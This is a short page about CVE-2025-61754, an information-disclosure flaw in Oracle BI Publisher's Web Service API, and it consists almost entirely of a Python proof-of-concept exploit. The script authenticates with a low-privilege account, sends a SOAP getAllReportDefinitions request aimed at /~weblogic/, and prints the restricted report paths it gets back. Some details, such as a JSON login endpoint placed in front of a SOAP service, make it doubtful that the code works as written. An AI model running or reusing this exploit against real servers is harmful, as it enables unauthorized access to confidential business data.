CVE-2025-61754 Oracle BI Publisher Web Service API 信息泄露漏洞

# CVE-2025-61754 Oracle BI Publisher Web Service API Information Disclosure PoC # This PoC demonstrates unauthorized access to sensitive data via Web Service API # Note: Requires valid low-privilege credentials import requests # Target Oracle BI Publisher server TARGET_URL = "https://target-host:port/xmlpserver/services/v2/ReportService" # Low-privilege attacker credentials USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session def authenticate(): """Authenticate with low-privilege credentials""" auth_payload = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post( f"{TARGET_URL}/login", json=auth_payload, verify=False ) if response.status_code == 200: print("[+] Authentication successful with low-privilege account") return session else: print("[-] Authentication failed") return None # Step 2: Exploit Web Service API to access unauthorized reports def exploit_data_access(session): """Access sensitive reports that should be restricted""" # Attempt to list all available reports (bypassing access control) headers = { "Content-Type": "application/soap+xml", "SOAPAction": '"getAllReportDefinitions"' } soap_payload = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Body> <getAllReportDefinitions> <reportRequest> <reportAbsolutePath>/~weblogic/</reportAbsolutePath> </reportRequest> </getAllReportDefinitions> </soap:Body> </soap:Envelope>""" response = session.post(TARGET_URL, data=soap_payload, headers=headers) if response.status_code == 200: print("[+] Successfully retrieved sensitive report data") print(f"[+] Response contains confidential information") return response.text else: print(f"[-] Exploit failed with status: {response.status_code}") return None # Step 3: Extract sensitive data from response def extract_sensitive_data(response_data): """Parse and extract confidential information from API response""" if response_data: # Extract report paths, names, and metadata import re report_paths = re.findall(r'<reportAbsolutePath>(.*?)</reportAbsolutePath>', response_data) print(f"[+] Found {len(report_paths)} accessible reports:") for path in report_paths: print(f" - {path}") return report_paths return [] # Main exploit chain if __name__ == "__main__": print("[*] CVE-2025-61754 Exploit PoC") print("[*] Oracle BI Publisher Web Service API Information Disclosure\n") session = authenticate() if session: data = exploit_data_access(session) if data: extract_sensitive_data(data) print("\n[!] Vulnerability confirmed - unauthorized data access achieved")